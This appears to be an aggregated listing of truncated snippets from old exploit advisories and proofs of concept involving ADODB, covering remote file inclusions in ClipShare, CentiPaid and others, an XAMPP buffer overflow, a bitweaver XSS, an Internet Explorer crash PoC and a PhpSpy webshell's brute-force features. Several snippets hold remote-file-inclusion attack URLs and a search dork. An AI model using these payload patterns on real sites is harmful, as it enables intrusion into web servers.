XAMPP for Windows 1.6.0a - 'mssql_connect()' Remote Buffer Overflow

Connect$POST'host', $POST'user', $POST'password', $POST'database'; echo "DBServer: $POSTdbserver"; $result = $db-Execute"SELECT FROM $POSTtable"; ... mssqlconnect function is vulnerable to buffer overflow and the host argument is totally unchecked. Also this shows a vulnerabilty in ADODB library...

XAMPP for Windows <= 1.6.0a mssql_connect() Remote BoF Exploit

Exploit for unknown platform in category remote exploits ============================================================== XAMPP for Windows Connect$POST'host', $POST'user', $POST'password', $POST'database'; echo "DBServer: $POSTdbserver"; $result = $db-Execute"SELECT FROM $POSTtable";...

PhpSpy 2 0 0 6 final modified version-the vulnerability warning-the black bar safety net

Files and directories to a ZIP package to download 2. MySql and Ftp brute force 3. Within the network computer name and IP conversion 4. The use of MySql upload download file 5. Added custom settings 6. Alexa rank,off by default 7. Using ADODB to execute SQL statements 8. There are other...

PT-2007-1459 · Morcego · Morcegocms

Name of the Vulnerable Software and Affected Versions: Morcego CMS versions 0.9.6 and earlier Description: The issue allows remote attackers to execute arbitrary PHP code. This can be achieved via a URL in the path parameter to "adodb/adodb.inc.php". Recommendations: For Morcego CMS versions 0.9....

ClipShare ADODB-Connection.Inc.PHP远程文件包含漏洞

ClipShare是一款基于PHP的WEB应用程序。 ClipShare不正确过滤用户提交的输入，远程攻击者可以利用漏洞以WEB权限执行任意命令。 问题是'ADODB-Connection.Inc.PHP'脚本对用户提交的'cmd'参数缺少过滤，指定远程服务器上的文件作为包含参数，可导致以WEB权限执行任意命令。 ClipShare 1.5.3 目前没有解决方案提供： http://www.clip-share.com/ http://www.example.com/Path/include/adodb-connection.inc.php?cmd=Shell-Attack...

clipshare-rfi.txt

By Hasadya Raed Contact : RaeD At BsdMail Dot Com / GunManPump At Hotmail Dot Com ---------------------------------------------------------------------------------------------------- Script : ClipShare.v1.5.3 Dork : "Copyright © 2006 Powered By Clip-Share.Com. All rights reserved"...

OES (Open Educational System) 0.1beta Remote File Inclusion Vuln

No description provided by source. \ /\ / | \ | / // / | | \ \ Y / | / / \ /\| /\ / / / / / .OR.ID ECHOADV69$2007 ----------------------------------------------------------------------------------------- ECHOADV69$2007 OES Open Educational System 0.1beta Remote File Inclusion Vulnerability...

ClipShare 1.5.3 - ADODB-Connection.Inc.php Remote File Inclusion

ClipShare 1.5.3 - ADODB-Connection.Inc.php Remote File Inclusion source: https://www.securityfocus.com/bid/22928/info ClipShare is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied data. Exploiting this issue may allow an attacker to compromise t...

Remote File Include In ClipShare.v1.5.3

By Hasadya Raed Contact : RaeD At BsdMail Dot Com / GunManPump At Hotmail Dot Com ---------------------------------------------------------------------------------------------------- Script : ClipShare.v1.5.3 Dork : "Copyright © 2006 Powered By Clip-Share.Com. All rights reserved"...

bitweaver-xss.txt

-=--------------------ADVISORY-------------------=- bitweaver 1.3.1 Author: CorryL [email protected] -=-----------------------------------------------=- -=+ Application: bitweaver -=+ Version: 1.3.1 -=+ Vendor's URL: http://www.bitweaver.org/articles/ -=+ Platform: Windows\Linux\Unix -=+ Bug typ...

[x0n3-h4ck] bitweaver 1.3.1 XSS Exploit

-=--------------------ADVISORY-------------------=- bitweaver 1.3.1 Author: CorryL [email protected] -=-----------------------------------------------=- -=+ Application: bitweaver -=+ Version: 1.3.1 -=+ Vendor's URL: http://www.bitweaver.org/articles/ -=+ Platform: WindowsLinuxUnix -=+ Bug type:...

Poplar Gedcom Viewer 2.0 - common.php Remote File Inclusion

Poplar Gedcom Viewer 2.0 - common.php Remote File Inclusion /\ Poplar Gedcom Viewer v2.0 final ========================================================= Published : 2007-01-00 Remote: Yes Site:ftp://ftp1.comscripts.com/PHP/689poplarge-20.zip Author: GolDM = Mahmoodali Contact: [email protected]...

php-revista &lt;= 1.1.2 (adodb) Multiple Remote File Include Vulnerabilities

No description provided by source. --------------------------------------|| Viva Palestine ||----------------------------------------- --------------------------------------|| Free Saddam Hussien ||----------------------------------------- php-revista = 1.1.2 index.php Remote File Include...

php-revista <= 1.1.2 (adodb) Multiple Remote File Include Vulnerabilities

Exploit for unknown platform in category web applications ========================================================================= php-revista execute"$obtenrev"; $idrevista = $obten-fields"id"; ====================================================== Exploit :...

CentiPaid-1.4.2.txt

Affected software description : Application : CentiPaid version : 1.4.3 URL : http://www.centipaid.com/centi/download/centipaidphp-1.4.3.tar.gz Code:centipaidclass.php include$classpwd.'/adodb/adodb.inc.php' Exploit: http://www.site.com/path/centipaidclass.php?classpwd=EvilScript...

CVE-2006-5559

The Execute method in the ADODB.Connection 2.7 and 2.8 ActiveX control objects ADODB.Connection.2.7 and ADODB.Connection.2.8 in the Microsoft Data Access Components MDAC 2.5 SP3, 2.7 SP1, 2.8, and 2.8 SP1 does not properly track freed memory when the second argument is a BSTR, which allows remote...

MS Internet Explorer (ADODB Execute) Denial of Service PoC

No description provided by source. !-- // Internet Explorer 'ADODB.Connection' object 'Execute' Function Vulnerability POC // tested on Windows XP SP1/XP SP2, IE 6.0 with latest patches installed // Author: YAG KOHHA skyhole at gmail.com // Greetz: H D Moor, Dark Eagle, str0ke, Maxus, Fuchunic,...

Microsoft Internet Explorer - ADODB Execute Denial of Service (PoC)

Microsoft Internet Explorer - ADODB Execute Denial of Service PoC ADODB.Connection.Execute CRASH TEST function BangBang var a = new ActiveXObject'ADODB.Connection.2.7'; var b = 'FUCK'; while b.length WOW!!! Are U live? milw0rm.com 2006-10-24...

MS Internet Explorer (ADODB Execute) Denial of Service PoC

Exploit for unknown platform in category dos / poc ========================================================== MS Internet Explorer ADODB Execute Denial of Service PoC ========================================================== ADODB.Connection.Execute CRASH TEST function BangBang var a = new...

RamaCMS-adodb.txt

===================================================================== RamaCMS adodb.inc.php Remote File Inclue Vulnerability ===================================================================== Author : Le CoPrA ===================================================================== Download Scrip...